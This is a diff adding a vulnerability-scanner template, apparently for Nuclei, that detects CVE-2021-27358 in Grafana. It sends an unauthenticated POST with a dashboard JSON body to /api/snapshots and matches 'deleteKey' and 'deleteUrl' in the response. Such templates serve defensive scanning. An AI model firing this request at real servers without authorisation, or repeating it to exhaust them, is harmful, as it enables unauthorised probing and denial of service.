Added Grafana unauthenticated snapshot creation

cves/2021/CVE-2021-27358.yaml

@@ -0,0 +1,29 @@
+id: CVE-2021-27358
+
+info:
+  author: pdteam
+  name: Grafana unauthenticated snapshot creation
+  severity: high
+  description: The snapshot feature in Grafana 6.7.3 through 7.4.1 can allow an unauthenticated remote attackers to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
+  reference:
+    - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-27358
+  tags: cve,cve2021,grafana
+
+requests:
+  - raw:
+      - |
+        POST /api/snapshots HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json
+        Content-Type: application/json
+
+        {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
+
+    matchers:
+      - part: body
+        type: word
+        words:
+          - "deleteKey"
+          - "deleteUrl"
+        condition: and